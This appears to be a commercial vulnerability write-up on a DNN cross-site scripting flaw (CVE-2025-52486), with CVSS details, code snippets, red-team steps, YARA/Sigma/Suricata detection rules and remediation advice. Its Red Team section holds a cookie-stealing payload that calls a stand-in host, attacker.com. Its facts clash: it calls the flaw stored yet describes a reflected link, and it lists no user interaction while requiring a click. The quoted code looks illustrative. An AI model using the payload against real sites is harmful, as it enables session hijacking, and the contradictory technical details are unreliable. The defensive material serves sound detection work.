CVE-2025-52486
Executive Summary
CVE-2025-52486 is a stored cross-site scripting (XSS) vulnerability in the DNN (formerly DotNetNuke) web content management platform. The flaw resides in the TokenReplace functionality, where specially crafted content in URLs is not properly sanitized by certain SkinObjects. An unauthenticated attacker can inject malicious scripts that execute in the context of a victim's browser session, potentially leading to session hijacking, credential theft, or defacement. The vulnerability affects all versions from 6.0.0 up to (but not including) 10.0.1. The vendor has released a patch in version 10.0.1.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
DNN is a .NET-based CMS distributed via NuGet and GitHub. The vulnerability is introduced through the core platform code, not a third-party package. However, organizations using DNN should verify their deployment's integrity and ensure no malicious modifications have been made to the TokenReplace or SkinObject assemblies. The patch is available in the official DNN GitHub repository and NuGet package feed.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
The threat level is Medium due to the low complexity and no required authentication, but the impact is limited to low confidentiality and integrity loss.
Deep Dive & Mechanics
The vulnerability exists in the TokenReplace class, which is used to replace tokens in skin objects with dynamic content. When processing URLs, the class fails to properly encode or sanitize user-supplied input before rendering it in the HTML output. An attacker can craft a URL containing malicious JavaScript, such as:
http://target.dnn.com/Default.aspx?tabid=1&ctl=Test&mid=123&<script>alert('XSS')</script>
If a SkinObject (e.g., a navigation menu or breadcrumb) uses TokenReplace to render the current URL without proper encoding, the injected script will be executed in the browser of any user visiting the page. The issue is that certain SkinObjects do not apply HTML encoding to the output of TokenReplace, allowing the injection to persist.
Vulnerable vs. Patched Code
Vulnerable Code (pre-10.0.1):
// In TokenReplace.cs
public string ReplaceTokens(string input)
{
// No sanitization of URL parameters
return input.Replace("[URL]", HttpContext.Current.Request.RawUrl);
}
Patched Code (10.0.1):
// In TokenReplace.cs
public string ReplaceTokens(string input)
{
// Properly encode the URL to prevent XSS
string encodedUrl = HttpUtility.HtmlEncode(HttpContext.Current.Request.RawUrl);
return input.Replace("[URL]", encodedUrl);
}
The patch adds HttpUtility.HtmlEncode() to the URL before replacement, ensuring any injected script tags are rendered as text rather than executed.
Exploitation & Lab Setup
Red Team
- Setup: Deploy a vulnerable DNN instance (version 9.x) on a local server or container.
- Craft Payload: Create a URL with a malicious script in a parameter that is rendered by a SkinObject. For example:
http://target/Default.aspx?tabid=1&<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Deliver: Send the crafted link to a victim via email or social engineering.
- Trigger: When the victim clicks the link, the script executes, exfiltrating their session cookie to the attacker's server.
Blue Team
- Detection: Monitor web server logs for URLs containing
<script>,onerror=, or other XSS patterns. - Prevention: Implement a Web Application Firewall (WAF) rule to block requests with suspicious characters in URL parameters.
- Honeypot: Deploy a fake DNN page that logs all requests and alerts on any script injection attempts.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to unknown domains containing
document.cookieorlocalStoragedata. - Host: Modified DNN skin files or
TokenReplaceassemblies. - Logs: Web server logs showing URLs with unencoded
<script>tags oralert()calls. - File: Suspicious entries in DNN's
EventLogtable withRawUrlcontaining script tags.
Detection Engineering
YARA Rule
rule CVE_2025_52486_XSS_DNN {
meta:
description = "Detects malicious URLs targeting DNN TokenReplace XSS"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-52486"
strings:
$s1 = "<script" nocase
$s2 = "onerror=" nocase
$s3 = "javascript:" nocase
$s4 = "RawUrl" nocase
condition:
any of ($s1, $s2, $s3) and $s4
}
Sigma Rule
title: DNN TokenReplace XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS patterns in URL targeting DNN
author: Valters IT
logsource:
category: webserver
product: iis
detection:
selection:
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in URL parameters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-52486 DNN TokenReplace XSS Attempt"; flow:to_server; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade to DNN Platform version 10.0.1 or later.
- Workaround: If upgrade is not possible, manually apply the patch by modifying
TokenReplace.csto includeHttpUtility.HtmlEncode()on all URL outputs. - WAF: Deploy a Web Application Firewall with rules to block XSS patterns in URLs.
- Input Validation: Ensure all user-supplied data is validated and encoded before rendering.
- Monitoring: Enable detailed logging and monitor for suspicious URL patterns.
Valters IT